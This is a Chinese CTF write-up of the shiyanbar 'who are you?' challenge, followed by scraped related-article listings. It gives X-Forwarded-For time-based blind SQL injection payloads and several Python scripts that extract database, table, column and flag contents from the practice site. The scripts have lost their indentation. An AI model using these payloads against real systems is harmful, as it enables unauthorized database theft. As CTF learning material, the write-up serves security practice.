who are you?

翻翻源码,抓抓包,乱试一通都没有什么结果

题目中提示有ip,立马应该联想到X-Forwarded-For

虽然知道是这个方面的题,但完全不知道从何入手,悄咪咪去翻一下wp

才知道原来X-Forwarded-For后面的的参数是先入数据库再取出来,并不是直接显示的

所以这里的X-Forwarded-For应该是存在注入的(果然是大佬,学到了)

而且经过测试,','以及后面的内容都会被过滤,这就导致我们的传统注入语句失效了

查了一下,这里需要用到select case when then语句

提交X-Forwarded-For:1'  and case when (length((SELECT concat(database())))<10) then sleep(3) else sleep(0) end and '1'='1;果然发生了延迟

接下来的原理就跟基于时间的盲注一样,只要不断替换when后面的判断语句,这要是手工的话还真是个体力活- -

我也正好趁着这种机会好好练习一下python

先是手工判断了一下数据库名的长度为4,接着上代码开始跑

 import requests

 guess='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
database = ''
for i in range(1,5):
for each in guess:
headers = {"X-Forwarded-For":"1' and case when (substring((select database()) from %s for 1)='%s') then sleep(5) else sleep(0) end and '1'='1" %(i,each)}
try:
r = requests.get(url, headers = headers, timeout=5)
print(r.text)
except:
database = database + each break print('database_name='+database)

又手工看了一下当前数据库中表的数量

只有两张,这就很舒服

接着跑一下看看所有表名的字长

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
i=1
table_length=0
tables="" while True:
headers={
"X-Forwarded-For":"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i)
}
try:
r = requests.get(url, headers=headers, timeout=6)
print(" "+r.text)
i+=1
except:
table_length = i-1
break
print(table_length)

最后得出是14,接着开始跑表名

我反复测试了好久,这应该是网络的问题,代码没有错,只是每次跑的结果都有几个字母不一样让我很难受

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
tables = ''
for i in range(1,15):
for each in range(30,127):
headers={
"X-Forwarded-For":"1' and case when(ascii(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers=headers, timeout=6)
print(" "+r.text)
except:
tables += chr(each)
print("")
print(chr(each))
print("")
break print("tables: %s" % tables)

想我也是看过wp的人,怎么会拘泥于这种小结呢,通过wp我知道了两张表分别是cilent_ip和flag(而我每次都是奇怪的字符,比如cl:"t_ip;fHag,六秒的延迟竟然还会错这么多,我只能说中国移动天下第一- -!)

接着就是跑flag表的列了,老规矩先瞅瞅他列名的长度

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
for i in range(1,10):
headers ={
"X-Forwarded-For":"1' and case when (substring((select group_concat(column_name separator ';') from information_schema.columns where table_schema='web4' and table_name='flag') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" %i
}
try:
r = requests.get(url, headers=headers, timeout=6)
print(" "+r.text)
except:
print('the number of tables is ' + str(i-1))
break

才4个字符,赶紧跑起来,我不信这次还能跑偏

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
columns = ''
for i in range(1,5):
for each in range(30,127):
header={
"X-Forwarded-For":"1' and case when(ascii(substring((select group_concat(column_name separator ';') from information_schema.columns where table_name='flag') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers=header, timeout=6)
print(" "+r.text)
except:
columns += chr(each)
print("")
print(chr(each))
print("")
break print("column: %s" % columns)

移动爸爸给我脸了!他没错!

倒数第二步,看字段数!

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
data_length = 0
i = 1
while True:
header={
"X-Forwarded-For":"1' and case when(length(substring((select group_concat(flag separator ';') from flag) from %s for 1))='') then sleep(6) else 0 end and 'a'='a" %i
}
try:
r = requests.get(url, headers=header, timeout=6)
print(" "+r.text)
i += 1
except: print("")
print('the number of data is '+ str(i-1))
print("")
break

32个!一口老血........

最后一步了,要dump数据了!不多说,拿去跑!

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
data = ''
i = 1
while i <= 32:
for each in range(30,127):
header={
"X-Forwarded-For":"1' and case when(ascii(substring((select group_concat(flag separator ';') from flag ) from %s for 1))=%s) then sleep(10) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers=header, timeout=10)
print(" "+r.text) except:
data += chr(each)
print('')
print(chr(each))
print('')
break
i += 1
print('flag: ' + data)

以上代码经过测试均有效,跑不出来你就退群吧╮(๑•́ ₃•̀๑)╭

这篇博客大概写了有大半天了,在不断的测试修改代码的过程中也收获了很多

反正就是舒服

实验吧_who are you?(盲注)的更多相关文章

  1. 实验吧——who are you?(insert into注入 二分法 时间盲注)

    题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会 ...

  2. 实验吧之【who are you?】(时间盲注)补充

    第二种方法 使用brup进行盲注  也是一个道理 不多贴了 这里提一下  burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 ...

  3. 实验吧之【who are you?】(时间盲注)

    地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 这道题点开看见your ip is :xxx.xxx.xx.xxx 试了一些 最后发现是XFF ...

  4. 实验吧——看起来有点难(sql盲注)

    题目地址:http://ctf5.shiyanbar.com/basic/inject/ 首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示 1.数据库连接失败! 2.登录失败, ...

  5. 实验吧Web-易-简单的sql注入之3(报错的sql盲注之exp)

    题目提示是报错注入,于是就用盲注技巧来注入. 这里注入时发现floor,extractvalue,updatexml被吃掉了,用exp可以注入成功.(记住大小写绕过等技巧) 1.爆库 ' or exp ...

  6. SQL盲注之正则攻击

    我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息.故攻击方式如下: 1. 判断第一个表名的第一个字符是否是a-z中的字符,其中bli ...

  7. sql 盲注之正则表达式攻击

    -----------------------------------------MYSQL 5+----------------------------------------- 我们都已经知道,在 ...

  8. [转载]sql 盲注之正则表达式攻击

    [转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+-------------------------------- ...

  9. 利用order by 进行盲注

    0x01 利用场景 登录代码: $username = $_POST['username']; $password = $_POST['password']; if(filter($username) ...

随机推荐

  1. 和sin有关的代码

    include include using namespace std; const double TINY_VALUE=1e-10; double tsin(double x) { double g ...

  2. 20162327WJH程序设计与数据结构第七周总结

    学号 20162327 <程序设计与数据结构>第7周学习总结 教材学习内容总结 1.关于接口的理解:接口可以理解为比较纯粹的抽象类 2.接口的特点:用interface定义接口 接口中的方 ...

  3. Numpy - 多维数组(上)

    一.实验说明 numpy 包为 Python 提供了高性能的向量,矩阵以及高阶数据结构.由于它们是由 C 和 Fortran 实现的,所以在操作向量与矩阵时性能非常优越. 1. 环境登录 无需密码自动 ...

  4. Python 双向链表

    操作 is_empty() 链表是否为空 length() 链表长度 travel() 遍历链表 add(item) 链表头部添加 append(item) 链表尾部添加 insert(pos, it ...

  5. KNN算法的代码实现

    # -*- coding: utf-8 -*-"""Created on Wed Mar 7 09:17:17 2018 @author: admin"&quo ...

  6. LeetCode & Q122-Best Time to Buy and Sell Stock II-Easy

    Description: Say you have an array for which the ith element is the price of a given stock on day i. ...

  7. MySQL关系表查询两个表的数据

    如下,有四张表:游戏类型表,游戏表,点卡和游戏关系表,点卡表 CREATE TABLE `gamesType`( `tId` INT AUTO_INCREMENT NOT NULL PRIMARY K ...

  8. SQL Server(MySql)中的联合主键(联合索引) 索引分析

    最近有人问到这个问题,之前也一直没有深究联合索引具体使用逻辑,查阅多篇文章,并经过测试,得出一些结论 测试环境:SQL Server 2008 R2 测试结果与MySql联合索引查询机制类似,可以认为 ...

  9. python pickle 模块的使用

    用于序列化的两个模块 json:用于字符串和Python数据类型间进行转换 pickle: 用于python特有的类型和python的数据类型间进行转换 json提供四个功能:dumps,dump,l ...

  10. mqtt paho ssl java端代码

    参考链接:http://blog.csdn.net/lingshi210/article/details/52439050 mqtt 的ssl配置可以参阅 http://houjixin.blog.1 ...